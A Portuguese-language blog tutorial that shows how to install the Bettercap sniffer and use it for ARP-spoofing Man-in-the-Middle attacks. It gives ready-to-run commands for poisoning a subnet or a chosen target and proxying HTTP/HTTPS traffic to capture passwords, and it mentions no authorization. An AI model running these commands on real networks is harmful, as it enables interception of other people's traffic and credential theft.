Realizando ataques Man in the Middle com Ruby utilizando o Bettercap

Share:

O Bettercap é um sniffer de rede muito poderoso escrito em Ruby que pode ser utilizado para realizar ataques de Man in the Middle. Já realizamos alguns exemplos aqui no blog onde fizemos laboratórios com o SeToolkit junto ao Ettercap e com o SSLStrip, porém nenhum deles funciona de forma tão simples quanto o Bettercap no quesito de interceptação de pacotes. É uma ferramenta realmente muito simples de se manipular.


Instalando as dependências:

 # apt-get install ruby-dev libpcap-dev  


Instalando o Bettercap:

 # gem install bettercap  



Executando o Bettercap:

Primeiramente vamos dar uma olhada no helper do Bettercap, que por sua vez é bem completo.

 # bettercap --help  

 root@fidelis:/home/matheus# bettercap -help  
  _     _  _  
 | |__  ___| |_| |_ ___ _ __ ___ __ _ _ __  
 | '_ \ / _ \ __| __/ _ \ '__/ __/ _` | '_ \  
 | |_) | __/ |_| || __/ | | (_| (_| | |_) |  
 |_.__/ \___|\__|\__\___|_| \___\__,_| .__/  
                    |_| v1.1.5  
 http://bettercap.org/  
   
   
   
 Usage: /usr/local/bin/bettercap [options]  
   -G, --gateway ADDRESS      Manually specify the gateway address, if not specified the current gateway will be retrieved and used.   
   -I, --interface IFACE      Network interface name - default: wlan3  
   -S, --spoofer NAME        Spoofer module to use, available: ARP, NONE - default: ARP  
   -T, --target ADDRESS1,ADDRESS2  Target IP addresses, if not specified the whole subnet will be targeted.  
   -O, --log LOG_FILE        Log all messages into a file, if not specified the log messages will be only print into the shell.  
   -D, --debug           Enable debug logging.  
   -L, --local           Parse packets coming from/to the address of this computer ( NOTE: Will set -X to true ), default to false.  
   -X, --sniffer          Enable sniffer.  
     --sniffer-source FILE    Load packets from the specified PCAP file instead of the interface ( will enable sniffer ).  
     --sniffer-pcap FILE     Save all packets to the specified PCAP file ( will enable sniffer ).  
     --sniffer-filter EXPRESSION Configure the sniffer to use this BPF filter ( will enable sniffer ).  
   -P, --parsers PARSERS      Comma separated list of packet parsers to enable, "*" for all ( NOTE: Will set -X to true ), available: FTP, MAIL, NTLMSS, HTTPS, URL, IRC, HTTPAUTH, POST - default: *  
     --no-discovery        Do not actively search for hosts, just use the current ARP cache, default to false.  
     --no-spoofing        Disable spoofing, alias for --spoofer NONE.  
     --half-duplex        Enable half-duplex MITM, this will make bettercap work in those cases when the router is not vulnerable.  
     --proxy           Enable HTTP proxy and redirects all HTTP requests to it, default to false.  
     --proxy-https        Enable HTTPS proxy and redirects all HTTPS requests to it, default to false.  
     --proxy-port PORT      Set HTTP proxy port, default to 8080 .  
     --proxy-https-port PORT   Set HTTPS proxy port, default to 8083 .  
     --proxy-pem FILE       Use a custom PEM certificate file for the HTTPS proxy.  
     --proxy-module MODULE    Ruby proxy module to load.  
     --httpd           Enable HTTP server, default to false.  
     --httpd-port PORT      Set HTTP server port, default to 8081.  
     --httpd-path PATH      Set HTTP server path, default to ./.  
     --check-updates       Will check if any update is available and then exit.  
   -h, --help            Display the available options.  
   
 For examples & instructions please visit http://bettercap.org/features/  
   



Podemos executar o Bettercap do modo mais cru possível, passando pra ele somente o parâmetro de execução. Deste modo ele irá sniffar a rede inteira, poisonando todas as tabelas Arps que encontrar

 # bettercap -X  






Porém podemos otimizar nossos parâmetros para fazer o bettercap sniffar somente o importante, tirando as informações desnecessárias dos nossos logs e concentrando o processamento só naquilo que é realmente relevante como senhas e etc.

 # bettercap -X -G 192.168.1.1 -T 192.168.1.66  -O log.txt --proxy 80 --proxy-https 443

Onde:

 # bettercap -X -G <ip-do-gateway> -T <target1, target2> -O <arquivo-de-saida> --proxy <porta> --proxy-https <porta-do-https>

Agora é só esperar a interceptação daquilo que você deseja.



Bom loot

:)

Um comentário: